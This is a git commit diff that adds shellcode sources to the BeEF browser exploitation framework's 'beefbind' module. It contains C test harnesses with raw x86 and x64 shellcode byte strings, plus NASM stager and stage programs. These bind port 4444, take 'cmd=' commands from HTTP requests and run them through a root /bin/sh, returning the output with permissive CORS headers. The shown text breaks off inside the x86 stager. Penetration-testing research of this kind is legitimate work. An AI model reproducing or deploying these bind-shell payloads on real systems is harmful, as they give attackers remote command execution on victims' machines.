add IPE with ActiveFax 5.01
This commit is contained in:
bmantra
27
modules/exploits/beefbind/shellcode_sources/linux/x64/socket64.c
Executable file
27
modules/exploits/beefbind/shellcode_sources/linux/x64/socket64.c
Executable file
@@ -0,0 +1,27 @@
|
||||
/**
|
||||
Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
|
||||
The C-skeleton to compile and test this shellcode is used with kind permission of Vivek Ramachandran. A standalone version can be compiled with:
|
||||
#gcc -fno-stack-protector -z execstack -o socket64 socket64.c
|
||||
**/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int (*sc)();
|
||||
|
||||
char shellcode[] = "\xfc\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x89\xc3\x6a\x01\x49\x89\xe2\x6a\x08\x41\x58\x6a\x02\x5a\x6a\x01\x5e\x48\x89\xdf\x6a\x36\x58\x0f\x05\x48\x31\xc0\x6a\x10\x5a\x50\x50\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x48\x89\xdf\x6a\x31\x58\x0f\x05\x48\x31\xf6\x48\x89\xdf\x6a\x32\x58\x0f\x05\x48\x31\xd2\x48\x31\xf6\x48\x89\xdf\x6a\x2b\x58\x0f\x05\x49\x89\xc7\x48\x89\xdf\x6a\x03\x58\x0f\x05\x48\x31\xff\x68\x00\x10\x00\x00\x5e\x6a\x07\x5a\x6a\x22\x41\x5a\x57\x57\x41\x59\x41\x58\x6a\x09\x58\x0f\x05\x49\x89\xc6\x4c\x89\xff\x4c\x89\xf6\x66\xba\x00\x10\x6a\x00\x58\x0f\x05\x4c\x89\xff\x6a\x03\x58\x0f\x05\x4c\x89\xf6\x81\x3e\x63\x6d\x64\x3d\x74\x05\x48\xff\xc6\xeb\xf3\x6a\x04\x58\x48\x01\xc6\xff\xe6";
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char *ptr = mmap(0, sizeof(shellcode), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
|
||||
if (ptr == MAP_FAILED) {perror("mmap");exit(-1);}
|
||||
memcpy(ptr, shellcode, sizeof(shellcode));
|
||||
sc = (int(*)())ptr;
|
||||
(void)((void(*)())ptr)();
|
||||
printf("\n");
|
||||
return 0;
|
||||
}
|
||||
285
modules/exploits/beefbind/shellcode_sources/linux/x64/stage64.nasm
Executable file
285
modules/exploits/beefbind/shellcode_sources/linux/x64/stage64.nasm
Executable file
@@ -0,0 +1,285 @@
|
||||
BITS 64
|
||||
|
||||
SECTION .text
|
||||
global _start
|
||||
_start:
|
||||
cld ;clear direction flag
|
||||
xor rdx,rdx ;zero rdx
|
||||
|
||||
push BYTE 0x02
|
||||
pop r14
|
||||
|
||||
;create two pipes
|
||||
createpipes:
|
||||
push rdx ;allocate space on the stack
|
||||
mov rdi, rsp ;point to the stack
|
||||
push BYTE 0x16
|
||||
pop rax ;sys_pipe
|
||||
syscall
|
||||
dec r14
|
||||
test r14, r14 ;create 2 pipes
|
||||
je endcreatepipes
|
||||
jmp createpipes
|
||||
|
||||
endcreatepipes:
|
||||
;sys_fork
|
||||
push BYTE 0x39
|
||||
pop rax
|
||||
syscall
|
||||
cmp eax, 0x00 ;parent or child?
|
||||
je child
|
||||
|
||||
xor rdi, rdi ; zero rdi
|
||||
mov edi, DWORD [rsp+0x8] ; close read end of one pipe
|
||||
push BYTE 0x03
|
||||
pop rax ;sys_close
|
||||
syscall
|
||||
|
||||
mov edi, DWORD [rsp+0x4] ;close write end of the other pipe
|
||||
push BYTE 0x03
|
||||
pop rax ;sys_close
|
||||
syscall
|
||||
|
||||
;make non-blocking
|
||||
mov edi, DWORD [rsp] ;fd
|
||||
push BYTE 0x04
|
||||
pop rsi ;F_SETFL
|
||||
xor rdx, rdx
|
||||
mov rdx, 0x800 ;O_NONBLOCK
|
||||
push BYTE 0x48
|
||||
pop rax ; sys_fcntl
|
||||
syscall
|
||||
|
||||
|
||||
;allocate one page of memory
|
||||
xor rdi,rdi ;system determines location
|
||||
push 0x1000 ;allocated size
|
||||
pop rsi
|
||||
push BYTE 0x07
|
||||
pop rdx ;PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
push BYTE 0x22
|
||||
pop r10 ; MAP_ANONYMOUS | MAP_PRIVATE
|
||||
push rdi
|
||||
push rdi
|
||||
pop r9 ;offset
|
||||
pop r8 ;fd
|
||||
push BYTE 0x09
|
||||
pop rax
|
||||
syscall
|
||||
mov r14, rax ;save pointer allocated memory for later use
|
||||
|
||||
doforever:
|
||||
;initialize socket
|
||||
xor rdx, rdx ;zero rdx (proto =0)
|
||||
push BYTE 0x01
|
||||
pop rsi ;SOCK_STREAM
|
||||
push BYTE 0x02
|
||||
pop rdi ;AF_INET = 2
|
||||
push BYTE 0x29
|
||||
pop rax ;sys_socket
|
||||
syscall
|
||||
mov rbx, rax ; save socket filediscriptor
|
||||
|
||||
;reuse socket
|
||||
push 0x01 ;true
|
||||
mov r10, rsp ;ptr to optval
|
||||
push BYTE 0x08
|
||||
pop r8 ;sizeof socklen_t
|
||||
push BYTE 0x02
|
||||
pop rdx ;SO_REUSEADDR = 2
|
||||
push BYTE 0x01
|
||||
pop rsi ;SOL_SOCKET = 1
|
||||
mov rdi, rbx ;socketfd
|
||||
push BYTE 0x36 ;sys_setsockopt
|
||||
pop rax
|
||||
syscall
|
||||
|
||||
pop rax ;clean stack
|
||||
|
||||
|
||||
;bind socket to port
|
||||
xor rax,rax
|
||||
push BYTE 0x10
|
||||
pop rdx ;addrlen
|
||||
push rax
|
||||
push rax
|
||||
mov DWORD [rsp], 0x5C110002 ;PORT 0x115c = 4444
|
||||
mov rsi, rsp ;ptr to sokaddr
|
||||
mov rdi, rbx ;socketfd
|
||||
push BYTE 0x31
|
||||
pop rax ;sys_bind
|
||||
syscall
|
||||
|
||||
pop rax ;clean stack
|
||||
pop rax
|
||||
|
||||
;listen
|
||||
xor rsi, rsi ;backlog ptr = NULL
|
||||
mov rdi, rbx ;socketfd
|
||||
push BYTE 0x32
|
||||
pop rax ;sys_listen
|
||||
syscall
|
||||
|
||||
;accept
|
||||
xor rdx,rdx ;addrlen ptr = NULL
|
||||
xor rsi,rsi ;sockaddr ptr = NULL
|
||||
mov rdi, rbx ;socketfd
|
||||
push BYTE 0x2b
|
||||
pop rax ;sys_accept
|
||||
syscall
|
||||
|
||||
mov r15, rax ;save client socket fd for later use
|
||||
|
||||
;close serversocket
|
||||
mov rdi, rbx ;close server socket fd
|
||||
push BYTE 0x03
|
||||
pop rax ;sys_close
|
||||
syscall
|
||||
|
||||
|
||||
mov rcx, 0x1000 ;pagesize
|
||||
firstzeromemory:
|
||||
;zero out memory
|
||||
dec rcx
|
||||
mov rbx, r14
|
||||
add rbx, rcx
|
||||
mov BYTE [rbx], 0x00
|
||||
jrcxz readfromsocket
|
||||
jmp firstzeromemory
|
||||
|
||||
readfromsocket:
|
||||
xor rdx, rdx
|
||||
|
||||
;read into allocated memory
|
||||
mov rdi, r15 ;client socketfd
|
||||
mov rsi, r14 ;ptr to allocated memory
|
||||
mov dx, 0x400 ;read 1024 bytes
|
||||
push BYTE 0x00
|
||||
pop rax ;sys_read
|
||||
syscall
|
||||
|
||||
mov rcx, 0x400 ;search in 1024 bytes
|
||||
mov rbx, r14 ;ptr to allocated memory
|
||||
search:
|
||||
cmp DWORD[rbx], 0x3d646d63 ;compare with "cmd="
|
||||
je found ;cmd= found
|
||||
inc rbx
|
||||
dec rcx
|
||||
jrcxz notfound ;cmd= not in recieved buffer
|
||||
jmp search ;search some more
|
||||
found:
|
||||
xor rdi, rdi
|
||||
mov rcx, rbx
|
||||
add rcx, 0x03 ;skip "cmd"
|
||||
mov rsi, rcx
|
||||
mov edi, DWORD [rsp+0xC] ;write to pipe
|
||||
sendcommand:
|
||||
inc rsi ;first time skip "=", move to next byte
|
||||
push BYTE 0x01
|
||||
pop rdx ;write one byte
|
||||
push BYTE 0x01
|
||||
pop rax ;sys_write
|
||||
syscall
|
||||
cmp BYTE [rsi], 0x0a ;LF character?
|
||||
jne sendcommand ;else continue write to pipe
|
||||
|
||||
;sleep one second
|
||||
push BYTE 0x23
|
||||
pop rax ;sys_nanosleep
|
||||
push DWORD 0x00
|
||||
push DWORD 0x01 ;one second
|
||||
mov rdi, rsp ;ptr to argument array
|
||||
xor rsi, rsi ;NULL
|
||||
syscall
|
||||
|
||||
pop rax ;clean stack
|
||||
pop rax
|
||||
|
||||
notfound:
|
||||
call writehttpheaders
|
||||
db 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20,0x32,0x30,0x30,0x20,0x4f,0x4b,0x0d,0x0a
|
||||
db 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x0d,0x0a
|
||||
db 0x41,0x63,0x63,0x65,0x73,0x73,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x2d,0x41,0x6c,0x6c,0x6f,0x77,0x2d,0x4f,0x72,0x69,0x67,0x69,0x6e,0x3a,0x20,0x2a,0x0d,0x0a
|
||||
db 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x33,0x30,0x34,0x38,0x0d,0x0a,0x0d,0x0a
|
||||
|
||||
writehttpheaders:
|
||||
pop rsi ;source address saved by call
|
||||
mov rdi, r14 ;ptr to allocated memory
|
||||
add rdi, 0x400 ;skip 1024 bytes
|
||||
mov rcx, 0x62 ;copy 98 bytes
|
||||
rep movsb
|
||||
|
||||
xor rdi, rdi ;zero rdi
|
||||
mov edi, DWORD [rsp] ;read from pipe
|
||||
mov rsi, r14 ;ptr to allocated memory
|
||||
add rsi, 0x400 ;skip 1024 bytes
|
||||
add rsi, 0x62 ;skip header
|
||||
mov rdx, 0xb86 ;read max 2950 bytes
|
||||
xor rax,rax ;sys_read
|
||||
syscall
|
||||
|
||||
|
||||
mov rdi, r15 ;clientsocket fd
|
||||
mov rsi, r14 ;ptr to allocated memory
|
||||
add rsi, 0x400 ;skip 1024 first bytes
|
||||
mov rdx, 0xbe8 ;send max 3048 bytes
|
||||
push BYTE 0x01
|
||||
pop rax ;sys_write
|
||||
syscall
|
||||
|
||||
mov rdi, r15 ;close clientsocket fd
|
||||
push BYTE 0x03
|
||||
pop rax ;sys_close
|
||||
syscall
|
||||
|
||||
jmp doforever
|
||||
child:
|
||||
xor rdi, rdi
|
||||
mov edi, DWORD [rsp+0xc] ;close output side of pipe
|
||||
push BYTE 0x03
|
||||
pop rax ;sys_close
|
||||
syscall
|
||||
|
||||
xor rdi, rdi ;close stdin
|
||||
push BYTE 0x03
|
||||
pop rax ;sys_close
|
||||
syscall
|
||||
|
||||
mov edi, DWORD [rsp+0x08] ;dup input side to stdin
|
||||
push BYTE 0x20
|
||||
pop rax ;sys_dup
|
||||
syscall
|
||||
|
||||
|
||||
mov edi, DWORD [rsp] ;close input side of other pipe
|
||||
push BYTE 0x03
|
||||
pop rax ;sys_close
|
||||
syscall
|
||||
|
||||
xor rdi, rdi
|
||||
inc rdi ;close stdout
|
||||
push BYTE 0x03
|
||||
pop rax ;sys_close
|
||||
syscall
|
||||
|
||||
mov edi, DWORD [rsp+0x4] ;dup output side to stdout
|
||||
push BYTE 0x20
|
||||
pop rax ;sys_dup
|
||||
syscall
|
||||
|
||||
;setresuid(0,0,0)
|
||||
xor rdi, rdi
|
||||
xor rsi, rsi
|
||||
xor rdx, rdx
|
||||
push BYTE 0x75
|
||||
pop rax ;sys_resuid
|
||||
syscall
|
||||
|
||||
push BYTE 0x3b
|
||||
pop rax ;sys_execve
|
||||
mov rdi, 0x0068732f6e69622f ;/bin/shNULL
|
||||
push rdi ;push to stack
|
||||
mov rdi, rsp ;ptr to stack
|
||||
xor rsi, rsi ;NULL
|
||||
xor rdx, rdx ;NULL
|
||||
syscall
|
||||
106
modules/exploits/beefbind/shellcode_sources/linux/x64/stager64.nasm
Executable file
106
modules/exploits/beefbind/shellcode_sources/linux/x64/stager64.nasm
Executable file
@@ -0,0 +1,106 @@
|
||||
BITS 64
|
||||
|
||||
SECTION .text
|
||||
global _start
|
||||
_start:
|
||||
cld ;clear direction flag
|
||||
xor rdx, rdx ;zero rdx (proto=0)
|
||||
push BYTE 0x01
|
||||
pop rsi ;SOCK_STREAM
|
||||
push BYTE 0x02
|
||||
pop rdi ;AF_INET = 2
|
||||
push BYTE 0x29
|
||||
pop rax ;sys_socket
|
||||
syscall
|
||||
mov rbx, rax ; save socket filediscriptor
|
||||
|
||||
;reuse socket
|
||||
push 0x01 ;true
|
||||
mov r10, rsp ;ptr to optval
|
||||
push BYTE 0x08
|
||||
pop r8 ;sizeof socklen_t
|
||||
push BYTE 0x02
|
||||
pop rdx ;SO_REUSEADDR = 2
|
||||
push BYTE 0x01
|
||||
pop rsi ;SOL_SOCKET = 1
|
||||
mov rdi, rbx ;socketfd
|
||||
push BYTE 0x36 ;sys_setsockopt
|
||||
pop rax
|
||||
syscall
|
||||
|
||||
xor rax,rax
|
||||
push BYTE 0x10
|
||||
pop rdx ;addrlen
|
||||
push rax
|
||||
push rax
|
||||
mov DWORD [rsp], 0x5c110002 ;PORT 0x115c = 4444
|
||||
mov rsi, rsp ;ptr to sokaddr
|
||||
mov rdi, rbx ;socketfd
|
||||
push BYTE 0x31
|
||||
pop rax ;sys_bind
|
||||
syscall
|
||||
|
||||
xor rsi, rsi ;backlog ptr = NULL
|
||||
mov rdi, rbx ;socketfd
|
||||
push BYTE 0x32
|
||||
pop rax ;sys_listen
|
||||
syscall
|
||||
|
||||
;accept
|
||||
xor rdx,rdx ;addrlen ptr = NULL
|
||||
xor rsi,rsi ;sockaddr ptr = NULL
|
||||
mov rdi, rbx ;socketfd
|
||||
push BYTE 0x2B
|
||||
pop rax ;sys_accept
|
||||
syscall
|
||||
|
||||
mov r15, rax ;save client socket fd for later use
|
||||
|
||||
mov rdi, rbx ;close server socket fd
|
||||
push BYTE 0x03
|
||||
pop rax ;sys_close
|
||||
syscall
|
||||
|
||||
;allocate memory
|
||||
|
||||
xor rdi,rdi ;system determines location
|
||||
push 0x1000 ;allocated size
|
||||
pop rsi
|
||||
push BYTE 0x07
|
||||
pop rdx ;PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
push BYTE 0x22
|
||||
pop r10 ; MAP_ANONYMOUS | MAP_PRIVATE
|
||||
push rdi
|
||||
push rdi
|
||||
pop r9 ;offset
|
||||
pop r8 ;fd
|
||||
push BYTE 0x09
|
||||
pop rax
|
||||
syscall
|
||||
mov r14, rax ;save pointer allocated memory for later use
|
||||
|
||||
;read into allocated memory
|
||||
mov rdi, r15 ;client socketfd
|
||||
mov rsi, r14 ;ptr to allocated memory
|
||||
mov dx, 0x1000 ;read one page of memory
|
||||
push BYTE 0x00
|
||||
pop rax ;sys_read
|
||||
syscall
|
||||
|
||||
;close clientsocketfd
|
||||
mov rdi, r15 ;client socketfd
|
||||
push BYTE 0x03
|
||||
pop rax ;sys_close
|
||||
syscall
|
||||
|
||||
mov rsi, r14 ;ptr to allocated memory
|
||||
search:
|
||||
cmp DWORD [rsi], 0x3d646d63 ;compare with "cmd="
|
||||
je short found ;cmd= found
|
||||
inc rsi
|
||||
jmp short search ;search some more
|
||||
found:
|
||||
push BYTE 0x04 ;skip "cmd="
|
||||
pop rax
|
||||
add rsi, rax
|
||||
jmp rsi ;jump to stage
|
||||
@@ -0,0 +1,27 @@
|
||||
/**
|
||||
Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
|
||||
The C-skeleton to compile and test this shellcode is used with kind permission of Vivek Ramachandran. A standalone version can be compiled with:
|
||||
#gcc -m32 -fno-stack-protector -z execstack -o socket socket.c
|
||||
**/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int (*sc)();
|
||||
|
||||
char shellcode[] = "\xfc\x31\xc0\x31\xd2\x6a\x01\x5b\x50\x40\x50\x40\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\xc6\x6a\x0e\x5b\x6a\x04\x54\x6a\x02\x6a\x01\x56\x89\xe1\x6a\x66\x58\xcd\x80\x6a\x02\x5b\x52\x68\x02\x00\x11\x5c\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x43\x53\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x52\x52\x56\x89\xe1\x6a\x66\x58\xcd\x80\x96\x93\xb8\x06\x00\x00\x00\xcd\x80\x6a\x00\x68\xff\xff\xff\xff\x6a\x22\x6a\x07\x68\x00\x10\x00\x00\x6a\x00\x89\xe3\x6a\x5a\x58\xcd\x80\x89\xc7\x66\xba\x00\x10\x89\xf9\x89\xf3\x6a\x03\x58\xcd\x80\x6a\x06\x58\xcd\x80\x81\x3f\x63\x6d\x64\x3d\x74\x03\x47\xeb\xf5\x6a\x04\x58\x01\xc7\xff\xe7";
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char *ptr = mmap(0, sizeof(shellcode), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
|
||||
if (ptr == MAP_FAILED) {perror("mmap");exit(-1);}
|
||||
memcpy(ptr, shellcode, sizeof(shellcode));
|
||||
sc = (int(*)())ptr;
|
||||
(void)((void(*)())ptr)();
|
||||
printf("\n");
|
||||
return 0;
|
||||
}
|
||||
290
modules/exploits/beefbind/shellcode_sources/linux/x86/stage.nasm
Normal file
290
modules/exploits/beefbind/shellcode_sources/linux/x86/stage.nasm
Normal file
@@ -0,0 +1,290 @@
|
||||
; Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
; Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
; See the file 'doc/COPYING' for copying permission
|
||||
|
||||
BITS 32
|
||||
|
||||
SECTION .text
|
||||
|
||||
global _start
|
||||
_start:
|
||||
cld ;clear direction flag
|
||||
xor edx, edx ;zero edx
|
||||
|
||||
push BYTE 0x02
|
||||
pop ecx
|
||||
;create two pipes
|
||||
createpipes:
|
||||
push edx ;allocate space on stack
|
||||
push edx
|
||||
mov ebx, esp ; ptr to argument array
|
||||
push BYTE 0x2A ;sys_pipe
|
||||
pop eax
|
||||
int 0x80 ;syscall
|
||||
dec ecx
|
||||
jcxz endcreatepipes ;jmp when both pipes are created
|
||||
jmp short createpipes ;create next pipe
|
||||
|
||||
endcreatepipes:
|
||||
;create fork
|
||||
xor ebx, ebx ;zero ebx
|
||||
push BYTE 0x02 ;sys_fork
|
||||
pop eax
|
||||
int 0x80 ;syscall
|
||||
cmp eax, 0x00 ;parent or child
|
||||
je child
|
||||
|
||||
mov ebx, [esp+0x8] ;close read end of one pipe
|
||||
push BYTE 0x06 ;sys_close
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
mov ebx, [esp+0x4] ;close write end of the other pipe
|
||||
push BYTE 0x06 ;sys_close
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
; make non blocking
|
||||
mov ebx, [esp] ;fd
|
||||
push BYTE 0x04 ;F_SETFL
|
||||
pop ecx
|
||||
push 0x800 ;O_NONBLOCK
|
||||
pop edx
|
||||
push BYTE 0x37 ;sys_fcntl
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
;allocate one page of memory
|
||||
push BYTE 0x00 ;offset = 0
|
||||
push 0xffffffff ;fd=-1
|
||||
push BYTE 0x22 ;MAP_ANONYMOUS | MAP_PRIVATE
|
||||
push BYTE 0x07 ;PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
push 0x1000 ;allocated size
|
||||
push 0x00 ;system determines location
|
||||
mov ebx, esp ;ptr to argument array
|
||||
push BYTE 0x5a
|
||||
pop eax
|
||||
int 0x80
|
||||
mov edi, eax ;ptr to allocated memory
|
||||
add esp, 0x18
|
||||
|
||||
doforever:
|
||||
xor edx, edx
|
||||
xor eax, eax
|
||||
|
||||
;initialize socket
|
||||
push BYTE 0x01
|
||||
pop ebx ;SYS_SOCKET
|
||||
push eax ;proto = 0
|
||||
inc eax
|
||||
push eax ;SOCK_STREAM = 1
|
||||
inc eax
|
||||
push eax ;AF_INET = 2
|
||||
mov ecx, esp ;ptr to argument array
|
||||
push BYTE 0x66
|
||||
pop eax ;socketcall is syscall #102
|
||||
int 0x80
|
||||
mov esi, eax ; save socket filedescriptor
|
||||
add esp, 0x0C
|
||||
|
||||
;reuse socket
|
||||
push BYTE 0x0E
|
||||
pop ebx ;SYS_SETSOCKOPT
|
||||
push BYTE 0x04 ;sizeof socklen_t
|
||||
push esp ;address of socklen_t
|
||||
push BYTE 0x02 ;SO_REUSEADDR = 2
|
||||
push BYTE 0x01 ;SOL_SOCKET = 1
|
||||
push esi ;socket fd
|
||||
mov ecx, esp ;ptr to argument array
|
||||
push BYTE 0x66
|
||||
pop eax ;socketcall is syscall #102
|
||||
int 0x80
|
||||
add esp, 0x14
|
||||
|
||||
;bind socket to port
|
||||
push BYTE 0x02
|
||||
pop ebx ;SYS_BIND
|
||||
push edx ;INADDR_ANY
|
||||
push 0x5c110002 ;PORT 0x115c = 4444
|
||||
mov ecx, esp ;ptr to server struct
|
||||
push BYTE 0x10 ; addrlen
|
||||
push ecx
|
||||
push esi ;socketfd
|
||||
mov ecx, esp ;ptr to argument array
|
||||
push BYTE 0x66
|
||||
pop eax ;socketcall is syscall #102
|
||||
int 0x80
|
||||
add esp, 0x14
|
||||
|
||||
inc ebx
|
||||
inc ebx ;SYS_LISTEN
|
||||
push ebx ;backlog
|
||||
push esi ;socketfd
|
||||
mov ecx, esp ;ptr to argument array
|
||||
push BYTE 0x66
|
||||
pop eax ; socketcall is syscall #102
|
||||
int 0x80
|
||||
add esp, 0x08
|
||||
|
||||
inc ebx ;SYS_ACCEPT
|
||||
push edx ;socklen = 0
|
||||
push edx ;sockaddr ptr = NULL
|
||||
push esi ;sockfd
|
||||
mov ecx, esp ;ptr to argumet array
|
||||
push BYTE 0x66
|
||||
pop eax ;socketcall is syscall #102
|
||||
int 0x80
|
||||
add esp, 0x0c
|
||||
|
||||
xchg esi, eax ;serversocket in eax and clientsocket handler in esi
|
||||
xchg eax, ebx ;serversocket in ebx
|
||||
mov eax, 0x06 ;close serversocket
|
||||
int 0x80
|
||||
|
||||
mov ecx, 0x1000
|
||||
firstzeromemory:
|
||||
;zero out memory
|
||||
dec ecx
|
||||
mov ebx, edi
|
||||
add ebx, ecx
|
||||
mov BYTE [ebx], 0x00
|
||||
jecxz readfromsocket
|
||||
jmp firstzeromemory
|
||||
|
||||
readfromsocket:
|
||||
;read from socket into memory
|
||||
mov dx, 0x400 ;read 1024 bytes
|
||||
mov ecx, edi ;ptr to allocated memory
|
||||
mov ebx, esi ;clientsocket
|
||||
push BYTE 0x03
|
||||
pop eax ;sys_read
|
||||
int 0x80
|
||||
|
||||
push edi ;ptr to allocate memory
|
||||
push esi ;clientsocket
|
||||
mov ebx, edi ;ptr to allocated memory
|
||||
mov ecx, 0x400 ;search in 1024 bytes
|
||||
search:
|
||||
cmp DWORD [ebx], 0x3d646D63 ;compare with "cmd="
|
||||
je found ;cmd= found
|
||||
inc ebx
|
||||
dec ecx
|
||||
jecxz notfound ;cmd= not in recieved buffer
|
||||
jmp search ;search some more
|
||||
|
||||
found:
|
||||
mov ecx, ebx ;put ptr to memory where "cmd=" was found
|
||||
add ecx, 0x03 ;skip "cmd"
|
||||
mov ebx, [esp+0x14] ;write to pipe
|
||||
sendcommand:
|
||||
inc ecx ;first time skip "=", move to next byte
|
||||
push BYTE 0x01 ;write one byte
|
||||
pop edx
|
||||
push BYTE 0x04 ;sys_write
|
||||
pop eax
|
||||
int 0x80
|
||||
cmp BYTE [ecx], 0x0a ;LF character?
|
||||
jne sendcommand ;else continue write to pipe
|
||||
|
||||
;sleep one second
|
||||
push 0x00
|
||||
push 0x01 ;one second
|
||||
mov ebx, esp ;ptr to argument array
|
||||
xor ecx, ecx ;NULL
|
||||
mov eax, 0xA2 ;sys_nanosleep
|
||||
int 0x80
|
||||
add esp, 0x08 ;clean up stack
|
||||
|
||||
notfound:
|
||||
call writehttpheaders
|
||||
db 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20,0x32,0x30,0x30,0x20,0x4f,0x4b,0x0d,0x0a ;HTTP/1.1 200 OK
|
||||
db 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x0d,0x0a ;Content-Type: text/html
|
||||
db 0x41,0x63,0x63,0x65,0x73,0x73,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x2d,0x41,0x6c,0x6c,0x6f,0x77,0x2d,0x4f,0x72,0x69,0x67,0x69,0x6e,0x3a,0x20,0x2a,0x0d,0x0a ;Access-Control-Allow-Origin: *
|
||||
db 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x33,0x30,0x34,0x38,0x0d,0x0a,0x0d,0x0a ;Content-Length: 3048
|
||||
|
||||
writehttpheaders:
|
||||
pop esi ;source address saved by call
|
||||
add edi, 0x400 ;ptr to memory skip 1024 bytes
|
||||
mov ecx, 0x62 ;copy 98 bytes
|
||||
rep movsb
|
||||
|
||||
pop edi ;restore clientsocket
|
||||
pop esi ;restore ptr to memory
|
||||
|
||||
|
||||
mov ebx, [esp] ;read from pipe
|
||||
mov ecx, esi ;ptr to memory
|
||||
add ecx, 0x400 ;skip 1024 bytes
|
||||
add ecx, 0x62 ;skip header
|
||||
push 0xB86 ;read max 2950 bytes
|
||||
pop edx
|
||||
push BYTE 0x03 ;sys_read
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
mov ebx, edi ;clientsocket
|
||||
mov ecx, esi ;ptr to memory
|
||||
add ecx, 0x400 ;skip 1024 first bytes
|
||||
mov edx, 0xbe8 ;send max 3048 bytes
|
||||
push BYTE 0x04 ;sys_write
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
;close clientsocket
|
||||
push BYTE 0x06 ;sys_close
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
mov edi, esi ;restore memory ptr into edi
|
||||
jmp doforever
|
||||
|
||||
child:
|
||||
mov ebx, [esp+0xC] ;close output side of pipe
|
||||
push BYTE 0x06 ;sys_close
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
xor ebx, ebx ;close stdin
|
||||
push BYTE 0x06 ;sys_close
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
mov ebx, [esp+0x8] ;dup input side to stdin
|
||||
push BYTE 0x29 ;sys_dup
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
mov ebx, [esp] ;close input side of other pipe
|
||||
push BYTE 0x06
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
xor ebx, ebx
|
||||
inc ebx ;close stdout
|
||||
push BYTE 0x06 ;sys_close
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
mov ebx, [esp+0x4] ;dup output side to stdout
|
||||
push BYTE 0x29 ;sys_dup
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
;setresuid(0,0,0)
|
||||
xor eax, eax
|
||||
xor ebx, ebx
|
||||
xor ecx, ecx
|
||||
xor edx, edx
|
||||
mov al, 0xa4 ;sys_setresuid16
|
||||
int 0x80
|
||||
|
||||
;execve("/bin//sh", 0, 0)
|
||||
xor eax, eax
|
||||
push eax
|
||||
push eax
|
||||
push 0x68732f2f ;//sh
|
||||
push 0x6e69622f ;/bin
|
||||
mov ebx, esp
|
||||
push BYTE 0x0b ;sys_execve
|
||||
pop eax
|
||||
int 0x80
|
||||
@@ -0,0 +1,111 @@
|
||||
; Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
; Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
; See the file 'doc/COPYING' for copying permission
|
||||
|
||||
BITS 32
|
||||
|
||||
SECTION .text
|
||||
|
||||
global _start
|
||||
_start:
|
||||
cld ;clear direction flag
|
||||
xor eax, eax ;zero eax
|
||||
xor edx, edx ;zero edx
|
||||
|
||||
;initialize socket
|
||||
push BYTE 0x01
|
||||
pop ebx ;SYS_SOCKET
|
||||
push eax ; proto = 0
|
||||
inc eax
|
||||
push eax ;SOCK_STREAM = 1
|
||||
inc eax
|
||||
push eax ;AF_INET = 2
|
||||
mov ecx, esp ; ptr to argument array
|
||||
push BYTE 0x66
|
||||
pop eax ;socketcall is syscall #102
|
||||
int 0x80
|
||||
mov esi, eax ;save socket filediscriptor
|
||||
|
||||
push BYTE 0x0E
|
||||
pop ebx ;SYS_SETSOCKOPT
|
||||
push BYTE 0x04 ;sizeof socklen_t
|
||||
push esp ; address of socklen_t
|
||||
push BYTE 0x02 ;SO_REUSEADDR = 2
|
||||
push BYTE 0x01 ;SOL_SOCKET = 1
|
||||
push esi ;socket fd
|
||||
mov ecx, esp ;ptr to argument array
|
||||
push BYTE 0x66
|
||||
pop eax ; socketcall is syscall #102
|
||||
int 0x80
|
||||
|
||||
;bind socket to port
|
